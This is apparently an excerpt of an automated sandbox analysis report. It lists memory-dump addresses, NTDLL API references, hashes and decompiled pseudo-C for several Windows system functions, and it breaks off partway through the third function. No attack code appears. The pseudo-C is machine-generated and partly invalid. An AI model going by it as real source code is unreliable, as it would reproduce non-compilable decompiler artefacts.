0x1e3fb4b8
0x1e3fb4bb
0x00000000
0x1e3fb4c1
0x1e3fb4c1
0x1e3fb4c8
0x00000000
0x1e3fb4ce
0x1e3fb4d4
0x1e3fb4e1
0x1e3fb4e3
0x1e3fb4e5
0x00000000
0x1e3fb4eb
0x1e3fb4f0
0x1e3fb4f2
0x1e3adac9
0x1e3adacc
0x1e3adacf
0x1e3adad1
0x1e3add78
0x1e3add78
0x1e3adcf2
0x00000000
0x1e3adad7
0x1e3adad9
0x1e3adadb
0x00000000
0x00000000
0x1e3adae1
0x1e3adae1
0x1e3adae4
0x1e3adae6
0x1e3fb4f9
0x1e3fb4f9
0x1e3fb500
0x1e3adaec
0x1e3adaec
0x1e3adaf5
0x1e3adaf8
0x1e3adafb
0x1e3adb03
0x1e3adb11
0x1e3adb16
0x1e3adb19
0x1e3adb1b
0x1e3fb52c
0x1e3fb531
0x1e3fb534
0x1e3adb21
0x1e3adb21
0x1e3adb24
0x1e3adcd9
0x1e3adce2
0x1e3adce5
0x1e3add6a
0x1e3add6d
0x00000000
0x1e3add73
0x1e3fb51a
0x1e3fb51c
0x1e3fb51f
0x1e3fb524
0x00000000
0x1e3fb524
0x1e3adce7
0x1e3adce7
0x1e3adce7
0x00000000
0x1e3adce7
0x00000000
0x1e3adb2a
0x1e3adb2c
0x1e3adb31
0x1e3adb33
0x1e3adb36
0x1e3adb39
0x1e3adb3b
0x1e3adb66
0x1e3adb66
0x1e3adb3d
0x1e3adb3d
0x1e3adb3e
0x1e3adb46
0x1e3adb47
0x1e3adb49
0x1e3adb4c
0x1e3adb53
0x1e3adb55
0x1e3adb58
0x1e3adb5a
0x1e3fb50a
0x1e3fb50f
0x1e3fb512
0x1e3adb60
0x1e3adb60
0x1e3adb63
0x1e3adb63
0x00000000
0x1e3adb63
0x1e3adb5a
0x1e3adb3b
0x1e3adb24
0x1e3adb69
0x1e3adb69
0x1e3adb6c
0x1e3adb6f
0x1e3adb74
0x1e3fb557
0x1e3fb557
0x1e3fb55e
0x1e3adb7a
0x1e3adb7c
0x1e3adb7f
0x1e3adb82
0x1e3adb85
0x00000000
0x1e3adb8b
0x1e3adb8b
0x1e3adb8d
0x1e3adb9b
0x1e3adb9b
0x1e3adb9d
0x1e3adba0
0x1e3adba2
0x1e3adba4
0x1e3adba7
0x1e3adba9
0x1e3adbae
0x1e3adbae
0x1e3adbb1
0x1e3adbb4
0x1e3adbb4
0x1e3adbb7
0x1e3adbba
0x1e3adcd2
0x1e3adcd4
0x00000000
0x1e3adbc0
0x1e3adbc0
0x1e3adbd2
0x1e3adbd7
0x1e3adbda
0x1e3adbdd
0x1e3adbdf
0x00000000
0x1e3adbe5
0x1e3adbe5
0x1e3adbee
0x1e3adbf1
0x1e3fb541
0x1e3fb544
0x00000000
0x1e3fb546
0x1e3fb546
0x00000000
0x1e3fb546
0x1e3adbf7
0x1e3adbf7
0x1e3adbfd
0x1e3adbfd
0x1e3adbff
0x1e3adc0b
0x1e3adc15
0x1e3adc1b
0x1e3adc1d
0x1e3adc21
0x1e3adc21
0x1e3adc23
0x1e3adc23
0x1e3adc26
0x1e3adc29
0x1e3adc2b
0x00000000
0x00000000
0x1e3adc31
0x1e3adc34
0x1e3adc36
0x1e3adcbf
0x1e3adcbf
0x1e3adcc2
0x00000000
0x1e3adc3c
0x1e3adc41
0x1e3adc43
0x00000000
0x1e3adc45
0x1e3adc45
0x1e3adc47
0x00000000
0x1e3adc4d
0x1e3adc4d
0x1e3adc50
0x1e3adc52
0x1e3adc55
0x1e3adcfa
0x1e3adcfe
0x1e3add08
0x1e3add0a
0x1e3add0c
0x00000000
0x1e3add12
0x1e3add15
0x1e3add2d
0x1e3add2f
0x1e3add32
0x1e3add35
0x00000000
0x1e3add35
0x1e3adc5b
0x1e3adc5b
0x1e3adc5e
0x1e3adc61
0x1e3adc64
0x1e3adc67
0x1e3adc67
0x1e3adc6a
0x1e3adc6c
0x1e3adc8e
0x1e3adc8e
0x1e3adc91
0x1e3adc93
0x1e3adcce
0x1e3adcce
0x1e3adc95
0x1e3adc9c
0x1e3adc6e
0x1e3adc72
0x1e3adc75
0x1e3adc77
0x1e3adc79
0x1e3fb551
0x1e3fb551
0x00000000
0x1e3adc7f
0x1e3adc7f
0x1e3adc81
0x00000000
0x1e3adc83
0x1e3adc86
0x1e3adc88
0x00000000
0x00000000
0x00000000
0x00000000
0x1e3adc88
0x1e3adc81
0x1e3adc79
0x1e3adc6c
0x1e3adc55
0x1e3adc47
0x1e3adc43
0x00000000
0x1e3adc36
0x1e3adc23
0x00000000
0x1e3adbff
0x1e3adbf1
0x1e3adbdf
0x1e3adb8f
0x1e3adb92
0x1e3adb95
0x00000000
0x00000000
0x00000000
0x00000000
0x1e3adb95
0x1e3adb8d
0x1e3adb85
0x1e3adb74
0x1e3adc9f
0x1e3adca2
0x1e3adcb0
0x1e3adcb0
0x1e3adad1
0x1e3fb4e5
0x1e3fb4c8
0x00000000
0x00000000
0x00000000
0x1e3ad831
0x1e3ad80d
0x00000000
0x1e3ad800
0x1e3fb47f
0x1e3fb485
0x00000000
0x1e3fb485
0x1e3ad665
0x1e3ad652
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 1E3AD898

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 5102b76bb696b3d35770db7acf1f63cab8d1693816aa7fb72d8487419b9aeaac
Instruction ID: cae64c972d73ef4bd5c318a92e10096eafd1384365eb34e371865ad05f5281b1
Opcode Fuzzy Hash: 5102b76bb696b3d35770db7acf1f63cab8d1693816aa7fb72d8487419b9aeaac
Instruction Fuzzy Hash: CDE1D374A00299CFDB29CF15C998B69B3B6FF85308F414399DA099B290DB35ADC1CB52

Uniqueness

Uniqueness Score: -1.00%

Function 1E3C513A, Relevance: 1.8, APIs: 1, Instructions: 258
timeCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E1E3C513A(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				signed char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed char* _v92;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				signed int _t159;
				signed int _t160;
				unsigned int* _t161;
				intOrPtr _t165;
				signed int _t172;
				signed char* _t181;
				intOrPtr _t189;
				intOrPtr* _t200;
				signed int _t202;
				signed int _t203;
				char _t204;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t210;
				signed int _t212;
				signed int _t214;
				signed int _t221;
				signed int _t222;
				signed int _t226;
				intOrPtr* _t232;
				signed int _t233;
				signed int _t234;
				intOrPtr _t237;
				intOrPtr _t238;
				intOrPtr _t240;
				void* _t245;
				signed int _t246;
				signed int _t247;
				void* _t248;
				void* _t251;
				void* _t252;
				signed int _t253;
				signed int _t255;
				signed int _t256;

				_t255 = (_t253 & 0xfffffff8) - 0x6c;
				_v8 =  *0x1e48d360 ^ _t255;
				_v32 = _v32 & 0x00000000;
				_t251 = __edx;
				_t237 = __ecx;
				_t212 = 6;
				_t245 =  &_v84;
				_t207 =  *((intOrPtr*)(__ecx + 0x48));
				_v44 =  *((intOrPtr*)(__edx + 0xc8));
				_v48 = __ecx;
				_v36 = _t207;
				_t157 = memset(_t245, 0, _t212 << 2);
				_t256 = _t255 + 0xc;
				_t246 = _t245 + _t212;
				if(_t207 == 2) {
					_t247 =  *(_t237 + 0x60);
					_t208 =  *(_t237 + 0x64);
					_v63 =  *((intOrPtr*)(_t237 + 0x4c));
					_t159 =  *((intOrPtr*)(_t237 + 0x58));
					_v104 = _t159;
					_v76 = _t159;
					_t160 =  *((intOrPtr*)(_t237 + 0x5c));
					_v100 = _t160;
					_v72 = _t160;
					L19:
					_v80 = _t208;
					_v84 = _t247;
					L8:
					_t214 = 0;
					if( *(_t237 + 0x74) > 0) {
						_t82 = _t237 + 0x84; // 0x124
						_t161 = _t82;
						_v92 = _t161;
						while( *_t161 >> 0x1f != 0) {
							_t200 = _v92;
							if( *_t200 == 0x80000000) {
								break;
							}
							_t214 = _t214 + 1;
							_t161 = _t200 + 0x10;
							_v92 = _t161;
							if(_t214 <  *(_t237 + 0x74)) {
								continue;
							}
							goto L9;
						}
						_v88 = _t214 << 4;
						_v40 = _t237 +  *((intOrPtr*)(_v88 + _t237 + 0x78));
						_t165 = 0;
						asm("adc eax, [ecx+edx+0x7c]");
						_v24 = _t165;
						_v28 = _v40;
						_v20 =  *((intOrPtr*)(_v88 + _t237 + 0x80));
						_t221 = _v40;
						_v16 =  *_v92;
						_v32 =  &_v28;
						if( *(_t237 + 0x4e) >> 0xf == 0) {
							goto L9;
						}
						_t240 = _v48;
						if( *_v92 != 0x80000000) {
							goto L9;
						}
						 *((intOrPtr*)(_t221 + 8)) = 0;
						 *((intOrPtr*)(_t221 + 0xc)) = 0;
						 *((intOrPtr*)(_t221 + 0x14)) = 0;
						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
						_t226 = 0;
						_t181 = _t251 + 0x66;
						_v88 = 0;
						_v92 = _t181;
						do {
							if( *((char*)(_t181 - 2)) == 0) {
								goto L31;
							}
							_t226 = _v88;
							if(( *_t181 & 0x000000ff) == ( *(_t240 + 0x4e) & 0x7fff)) {
								_t181 = E1E3DD0F0(1, _t226 + 0x20, 0);
								_t226 = _v40;
								 *(_t226 + 8) = _t181;
								 *((intOrPtr*)(_t226 + 0xc)) = 0;
								L34:
								if(_v44 == 0) {
									goto L9;
								}
								_t210 = _v44;
								_t127 = _t210 + 0x1c; // 0x1c
								_t249 = _t127;
								E1E3B2280(_t181, _t127);
								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
								_t185 =  *((intOrPtr*)(_t210 + 0x94));
								if( *((intOrPtr*)(_t210 + 0x94)) != 0) {
									L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t185);
								}
								_t189 = L1E3B4620(_t226,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v20 + 0x10);
								 *((intOrPtr*)(_t210 + 0x94)) = _t189;
								if(_t189 != 0) {
									 *((intOrPtr*)(_t189 + 8)) = _v20;
									 *( *((intOrPtr*)(_t210 + 0x94)) + 0xc) = _v16;
									_t232 =  *((intOrPtr*)(_t210 + 0x94));
									 *_t232 = _t232 + 0x10;
									 *(_t232 + 4) =  *(_t232 + 4) & 0x00000000;
									E1E3DF3E0( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x94)))), _v28, _v20);
									_t256 = _t256 + 0xc;
								}
								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
								E1E3AFFB0(_t210, _t249, _t249);
								_t222 = _v76;
								_t172 = _v80;
								_t208 = _v84;
								_t247 = _v88;
								L10:
								_t238 =  *((intOrPtr*)(_t251 + 0x1c));
								_v44 = _t238;
								if(_t238 != 0) {
									 *0x1e48b1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t247, _t208, _v32,  *((intOrPtr*)(_t251 + 0x20)));
									_v44();
								}
								_pop(_t248);
								_pop(_t252);
								_pop(_t209);
								return E1E3DB640(0, _t209, _v8 ^ _t256, _t238, _t248, _t252);
							}
							_t181 = _v92;
							L31:
							_t226 = _t226 + 1;
							_t181 =  &(_t181[0x18]);
							_v88 = _t226;
							_v92 = _t181;
						} while (_t226 < 4);
						goto L34;
					}
					L9:
					_t172 = _v104;
					_t222 = _v100;
					goto L10;
				}
				_t247 = _t246 | 0xffffffff;
				_t208 = _t247;
				_v84 = _t247;
				_v80 = _t208;
				if( *((intOrPtr*)(_t251 + 0x4c)) == _t157) {
					_t233 = _v72;
					_v105 = _v64;
					_t202 = _v76;
				} else {
					_t204 =  *((intOrPtr*)(_t251 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t204) {
						_v63 = _t204;
					}
					_t202 = _v76 |  *(_t251 + 0x40);
					_t233 = _v72 |  *(_t251 + 0x44);
					_t247 =  *(_t251 + 0x38);
					_t208 =  *(_t251 + 0x3c);
					_v76 = _t202;
					_v72 = _t233;
					_v84 = _t247;
					_v80 = _t208;
				}
				_v104 = _t202;
				_v100 = _t233;
				if( *((char*)(_t251 + 0xc4)) != 0) {
					_t237 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t251 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t251 + 0xc5));
						_t237 = _v48;
					}
					_t203 = _t202 |  *(_t251 + 0xb8);
					_t234 = _t233 |  *(_t251 + 0xbc);
					_t247 = _t247 &  *(_t251 + 0xb0);
					_t208 = _t208 &  *(_t251 + 0xb4);
					_v104 = _t203;
					_v76 = _t203;
					_v100 = _t234;
					_v72 = _t234;
					_v84 = _t247;
					_v80 = _t208;
				}
				if(_v105 == 0) {
					_v36 = _v36 & 0x00000000;
					_t208 = 0;
					_t247 = 0;
					 *(_t237 + 0x74) =  *(_t237 + 0x74) & 0;
					goto L19;
				} else {
					_v36 = 1;
					goto L8;
				}
			}

0x1e3c5142
0x1e3c514c
0x1e3c5150
0x1e3c5157
0x1e3c5159
0x1e3c515e
0x1e3c5165
0x1e3c5169
0x1e3c516c
0x1e3c5172
0x1e3c5176
0x1e3c517a
0x1e3c517a
0x1e3c517a
0x1e3c517f
0x1e406d8b
0x1e406d8e
0x1e406d91
0x1e406d95
0x1e406d98
0x1e406d9c
0x1e406da0
0x1e406da3
0x1e406da7
0x1e406e26
0x1e406e26
0x1e406e2a
0x1e3c51f9
0x1e3c51f9
0x1e3c51fe
0x1e406e33
0x1e406e33
0x1e406e39
0x1e406e3d
0x1e406e46
0x1e406e50
0x00000000
0x00000000
0x1e406e52
0x1e406e53
0x1e406e56
0x1e406e5d
0x00000000
0x00000000
0x00000000
0x1e406e5f
0x1e406e67
0x1e406e77
0x1e406e7f
0x1e406e80
0x1e406e88
0x1e406e90
0x1e406e9f
0x1e406ea5
0x1e406ea9
0x1e406eb1
0x1e406ebf
0x00000000
0x00000000
0x1e406ecf
0x1e406ed3
0x00000000
0x00000000
0x1e406edb
0x1e406ede
0x1e406ee1
0x1e406ee8
0x1e406eeb
0x1e406eed
0x1e406ef0
0x1e406ef4
0x1e406ef8
0x1e406efc
0x00000000
0x00000000
0x1e406f0d
0x1e406f11
0x1e406f32
0x1e406f37
0x1e406f3b
0x1e406f3e
0x1e406f41
0x1e406f46
0x00000000
0x00000000
0x1e406f4c
0x1e406f50
0x1e406f50
0x1e406f54
0x1e406f62
0x1e406f65
0x1e406f6d
0x1e406f7b
0x1e406f7b
0x1e406f93
0x1e406f98
0x1e406fa0
0x1e406fa6
0x1e406fb3
0x1e406fb6
0x1e406fbf
0x1e406fc1
0x1e406fd5
0x1e406fda
0x1e406fda
0x1e406fdd
0x1e406fe2
0x1e406fe7
0x1e406feb
0x1e406fef
0x1e406ff3
0x1e3c520c
0x1e3c520c
0x1e3c520f
0x1e3c5215
0x1e3c5234
0x1e3c523a
0x1e3c523a
0x1e3c5244
0x1e3c5245
0x1e3c5246
0x1e3c5251
0x1e3c5251
0x1e406f13
0x1e406f17
0x1e406f17
0x1e406f18
0x1e406f1b
0x1e406f1f
0x1e406f23
0x00000000
0x1e406f28
0x1e3c5204
0x1e3c5204
0x1e3c5208
0x00000000
0x1e3c5208
0x1e3c5185
0x1e3c5188
0x1e3c518a
0x1e3c518e
0x1e3c5195
0x1e406db1
0x1e406db5
0x1e406db9
0x1e3c519b
0x1e3c519b
0x1e3c519e
0x1e3c51a7
0x1e3c51a9
0x1e3c51a9
0x1e3c51b5
0x1e3c51b8
0x1e3c51bb
0x1e3c51be
0x1e3c51c1
0x1e3c51c5
0x1e3c51c9
0x1e3c51cd
0x1e3c51cd
0x1e3c51d8
0x1e3c51dc
0x1e3c51e0
0x1e406dcc
0x1e406dd0
0x1e406dd5
0x1e406ddd
0x1e406de1
0x1e406de1
0x1e406de5
0x1e406deb
0x1e406df1
0x1e406df7
0x1e406dfd
0x1e406e01
0x1e406e05
0x1e406e09
0x1e406e0d
0x1e406e11
0x1e406e11
0x1e3c51eb
0x1e406e1a
0x1e406e1f
0x1e406e21
0x1e406e23
0x00000000
0x1e3c51f1
0x1e3c51f1
0x00000000
0x1e3c51f1

APIs

RtlDebugPrintTimes.NTDLL ref: 1E3C5234

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 5fd904e51d7bb89fb6ed464921b87c668f91d7dc4094e674808f0398ce4b5421
Instruction ID: 33b6092fc0d0b6497fd7e69f14f32774496cceb4681ce501da87a2a77314838b
Opcode Fuzzy Hash: 5fd904e51d7bb89fb6ed464921b87c668f91d7dc4094e674808f0398ce4b5421
Instruction Fuzzy Hash: 26C124755083819FD354CF28C490A5AFBF2BF88304F144AAEF89A8B792D771E945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 1E3C03E2, Relevance: 1.8, APIs: 1, Instructions: 254
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E1E3C03E2(signed int __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				char _v52;
				char _v56;
				char _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t56;
				signed int _t58;
				char* _t64;
				intOrPtr _t65;
				signed int _t74;
				signed int _t79;
				char* _t83;
				intOrPtr _t84;
				signed int _t93;
				signed int _t94;
				signed char* _t95;
				signed int _t99;
				signed int _t100;
				signed char* _t101;
				signed int _t105;
				signed int _t119;
				signed int _t120;
				void* _t122;
				signed int _t123;
				signed int _t127;

				_v8 =  *0x1e48d360 ^ _t127;
				_t119 = __ecx;
				_t105 = __edx;
				_t118 = 0;
				_v20 = __edx;
				_t120 =  *(__ecx + 0x20);
				if(E1E3C0548(__ecx, 0) != 0) {
					_t56 = 0xc000022d;
					L23:
					return E1E3DB640(_t56, _t105, _v8 ^ _t127, _t118, _t119, _t120);
				} else {
					_v12 = _v12 | 0xffffffff;
					_t58 = _t120 + 0x24;
					_t109 =  *(_t120 + 0x18);
					_t118 = _t58;
					_v16 = _t58;
					E1E3AB02A( *(_t120 + 0x18), _t118, 0x14a5);
					_v52 = 0x18;
					_v48 = 0;
					0x840 = 0x40;
					if( *0x1e487c1c != 0) {
					}
					_v40 = 0x840;
					_v44 = _t105;
					_v36 = 0;
					_v32 = 0;
					if(E1E3B7D50() != 0) {
						_t64 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t64 = 0x7ffe0384;
					}
					if( *_t64 != 0) {
						_t65 =  *[fs:0x30];
						__eflags =  *(_t65 + 0x240) & 0x00000004;
						if(( *(_t65 + 0x240) & 0x00000004) != 0) {
							_t100 = E1E3B7D50();
							__eflags = _t100;
							if(_t100 == 0) {
								_t101 = 0x7ffe0385;
							} else {
								_t101 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t101 & 0x00000020;
							if(( *_t101 & 0x00000020) != 0) {
								_t118 = _t118 | 0xffffffff;
								_t109 = 0x1485;
								E1E417016(0x1485, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					_t105 = 0;
					while(1) {
						_push(0x60);
						_push(5);
						_push( &_v64);
						_push( &_v52);
						_push(0x100021);
						_push( &_v12);
						_t122 = E1E3D9830();
						if(_t122 >= 0) {
							break;
						}
						__eflags = _t122 - 0xc0000034;
						if(_t122 == 0xc0000034) {
							L38:
							_t120 = 0xc0000135;
							break;
						}
						__eflags = _t122 - 0xc000003a;
						if(_t122 == 0xc000003a) {
							goto L38;
						}
						__eflags = _t122 - 0xc0000022;
						if(_t122 != 0xc0000022) {
							break;
						}
						__eflags = _t105;
						if(__eflags != 0) {
							break;
						}
						_t109 = _t119;
						_t99 = E1E4169A6(_t119, __eflags);
						__eflags = _t99;
						if(_t99 == 0) {
							break;
						}
						_t105 = _t105 + 1;
					}
					if( !_t120 >= 0) {
						L22:
						_t56 = _t120;
						goto L23;
					}
					if( *0x1e487c04 != 0) {
						_t118 = _v12;
						_t120 = E1E41A7AC(_t119, _t118, _t109);
						__eflags = _t120;
						if(_t120 >= 0) {
							goto L10;
						}
						__eflags =  *0x1e487bd8;
						if( *0x1e487bd8 != 0) {
							L20:
							if(_v12 != 0xffffffff) {
								_push(_v12);
								E1E3D95D0();
							}
							goto L22;
						}
					}
					L10:
					_push(_v12);
					_t105 = _t119 + 0xc;
					_push(0x1000000);
					_push(0x10);
					_push(0);
					_push(0);
					_push(0xf);
					_push(_t105);
					_t120 = E1E3D99A0();
					if(_t120 < 0) {
						__eflags = _t120 - 0xc000047e;
						if(_t120 == 0xc000047e) {
							L51:
							_t74 = E1E413540(_t120);
							_t119 = _v16;
							_t120 = _t74;
							L52:
							_t118 = 0x1485;
							E1E39B1E1(_t120, 0x1485, 0, _t119);
							goto L20;
						}
						__eflags = _t120 - 0xc000047f;
						if(_t120 == 0xc000047f) {
							goto L51;
						}
						__eflags = _t120 - 0xc0000462;
						if(_t120 == 0xc0000462) {
							goto L51;
						}
						_t119 = _v16;
						__eflags = _t120 - 0xc0000017;
						if(_t120 != 0xc0000017) {
							__eflags = _t120 - 0xc000009a;
							if(_t120 != 0xc000009a) {
								__eflags = _t120 - 0xc000012d;
								if(_t120 != 0xc000012d) {
									_v28 = _t119;
									_push( &_v56);
									_push(1);
									_v24 = _t120;
									_push( &_v28);
									_push(1);
									_push(2);
									_push(0xc000007b);
									_t79 = E1E3DAAF0();
									__eflags = _t79;
									if(_t79 >= 0) {
										__eflags =  *0x1e488474 - 3;
										if( *0x1e488474 != 3) {
											 *0x1e4879dc =  *0x1e4879dc + 1;
										}
									}
								}
							}
						}
						goto L52;
					}
					if(E1E3B7D50() != 0) {
						_t83 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t83 = 0x7ffe0384;
					}
					if( *_t83 != 0) {
						_t84 =  *[fs:0x30];
						__eflags =  *(_t84 + 0x240) & 0x00000004;
						if(( *(_t84 + 0x240) & 0x00000004) != 0) {
							_t94 = E1E3B7D50();
							__eflags = _t94;
							if(_t94 == 0) {
								_t95 = 0x7ffe0385;
							} else {
								_t95 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t95 & 0x00000020;
							if(( *_t95 & 0x00000020) != 0) {
								E1E417016(0x1486, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					if(( *(_t119 + 0x10) & 0x00000100) == 0) {
						if( *0x1e488708 != 0) {
							_t118 =  *0x7ffe0330;
							_t123 =  *0x1e487b00; // 0x0
							asm("ror esi, cl");
							 *0x1e48b1e0(_v12, _v20, 0x20);
							_t93 =  *(_t123 ^  *0x7ffe0330)();
							_t50 = _t93 + 0x3ffffddb; // 0x3ffffddb
							asm("sbb esi, esi");
							_t120 =  ~_t50 & _t93;
						} else {
							_t120 = 0;
						}
					}
					if( !_t120 >= 0) {
						L19:
						_push( *_t105);
						E1E3D95D0();
						 *_t105 =  *_t105 & 0x00000000;
						goto L20;
					}
					_t120 = E1E3A7F65(_t119);
					if( *((intOrPtr*)(_t119 + 0x60)) != 0) {
						__eflags = _t120;
						if(_t120 < 0) {
							goto L19;
						}
						 *(_t119 + 0x64) = _v12;
						goto L22;
					}
					goto L19;
				}
			}

0x1e3c03f1
0x1e3c03f7
0x1e3c03f9
0x1e3c03fb
0x1e3c03fd
0x1e3c0400
0x1e3c040a
0x1e404c7a
0x1e3c0537
0x1e3c0547
0x1e3c0410
0x1e3c0410
0x1e3c0414
0x1e3c0417
0x1e3c041a
0x1e3c0421
0x1e3c0424
0x1e3c042b
0x1e3c043b
0x1e3c043e
0x1e3c043f
0x1e3c043f
0x1e3c0446
0x1e3c0449
0x1e3c044c
0x1e3c044f
0x1e3c0459
0x1e404c8d
0x1e3c045f
0x1e3c045f
0x1e3c045f
0x1e3c0467
0x1e404c97
0x1e404c9d
0x1e404ca4
0x1e404caa
0x1e404caf
0x1e404cb1
0x1e404cc3
0x1e404cb3
0x1e404cbc
0x1e404cbc
0x1e404cc8
0x1e404ccb
0x1e404cd7
0x1e404cda
0x1e404cdf
0x1e404cdf
0x1e404ccb
0x1e404ca4
0x1e3c046d
0x1e3c046f
0x1e3c046f
0x1e3c0471
0x1e3c0476
0x1e3c047a
0x1e3c047b
0x1e3c0483
0x1e3c0489
0x1e3c048d
0x00000000
0x00000000
0x1e404ce9
0x1e404cef
0x1e404d22
0x1e404d22
0x00000000
0x1e404d22
0x1e404cf1
0x1e404cf7
0x00000000
0x00000000
0x1e404cf9
0x1e404cff
0x00000000
0x00000000
0x1e404d05
0x1e404d07
0x00000000
0x00000000
0x1e404d0d
0x1e404d0f
0x1e404d14
0x1e404d16
0x00000000
0x00000000
0x1e404d1c
0x1e404d1c
0x1e3c0499
0x1e3c0535
0x1e3c0535
0x00000000
0x1e3c0535
0x1e3c04a6
0x1e404d2c
0x1e404d37
0x1e404d39
0x1e404d3b
0x00000000
0x00000000
0x1e404d41
0x1e404d48
0x1e3c0527
0x1e3c052b
0x1e3c052d
0x1e3c0530
0x1e3c0530
0x00000000
0x1e3c052b
0x1e404d4e
0x1e3c04ac
0x1e3c04ac
0x1e3c04af
0x1e3c04b2
0x1e3c04b7
0x1e3c04b9
0x1e3c04bb
0x1e3c04bd
0x1e3c04bf
0x1e3c04c5
0x1e3c04c9
0x1e404d53
0x1e404d59
0x1e404db9
0x1e404dba
0x1e404dbf
0x1e404dc2
0x1e404dc4
0x1e404dc7
0x1e404dce
0x00000000
0x1e404dce
0x1e404d5b
0x1e404d61
0x00000000
0x00000000
0x1e404d63
0x1e404d69
0x00000000
0x00000000
0x1e404d6b
0x1e404d6e
0x1e404d74
0x1e404d76
0x1e404d7c
0x1e404d7e
0x1e404d84
0x1e404d89
0x1e404d8c
0x1e404d8d
0x1e404d92
0x1e404d95
0x1e404d96
0x1e404d98
0x1e404d9a
0x1e404d9f
0x1e404da4
0x1e404da6
0x1e404da8
0x1e404daf
0x1e404db1
0x1e404db1
0x1e404daf
0x1e404da6
0x1e404d84
0x1e404d7c
0x00000000
0x1e404d74
0x1e3c04d6
0x1e404de1
0x1e3c04dc
0x1e3c04dc
0x1e3c04dc
0x1e3c04e4
0x1e404deb
0x1e404df1
0x1e404df8
0x1e404dfe
0x1e404e03
0x1e404e05
0x1e404e17
0x1e404e07
0x1e404e10
0x1e404e10
0x1e404e1c
0x1e404e1f
0x1e404e35
0x1e404e35
0x1e404e1f
0x1e404df8
0x1e3c04f1
0x1e3c04fa
0x1e404e3f
0x1e404e47
0x1e404e5b
0x1e404e61
0x1e404e67
0x1e404e69
0x1e404e71
0x1e404e73
0x1e3c0500
0x1e3c0500
0x1e3c0500
0x1e3c04fa
0x1e3c0508
0x1e3c051d
0x1e3c051d
0x1e3c051f
0x1e3c0524
0x00000000
0x1e3c0524
0x1e3c0515
0x1e3c0517
0x1e404e7a
0x1e404e7c
0x00000000
0x00000000
0x1e404e85
0x00000000
0x1e404e85
0x00000000
0x1e3c0517

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb9b0215e9c8a49ed5cc60dc8cea738f474fa752118e9add6ae71fb5ae78e790
Instruction ID: 12df932cb7e60de8c11f916361bd0992e6c6bafcacdfdbfaea298d67bed3f260
Opcode Fuzzy Hash: eb9b0215e9c8a49ed5cc60dc8cea738f474fa752118e9add6ae71fb5ae78e790
Instruction Fuzzy Hash: 7F912631E042D59FEB218BA5C854BAEBBA6AF02724F050377E911AB2D0D774ED00CB81

Uniqueness

Uniqueness Score: -1.00%

Function 1E39B171, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E1E39B171(signed short __ebx, intOrPtr __ecx, intOrPtr* __edx, intOrPtr* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				void* _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				intOrPtr* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				intOrPtr* _t110;
				void* _t111;
				void* _t114;
				intOrPtr* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0x1e46f7a8);
				E1E3ED0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *((intOrPtr*)(_t114 - 0x84)) = __ecx;
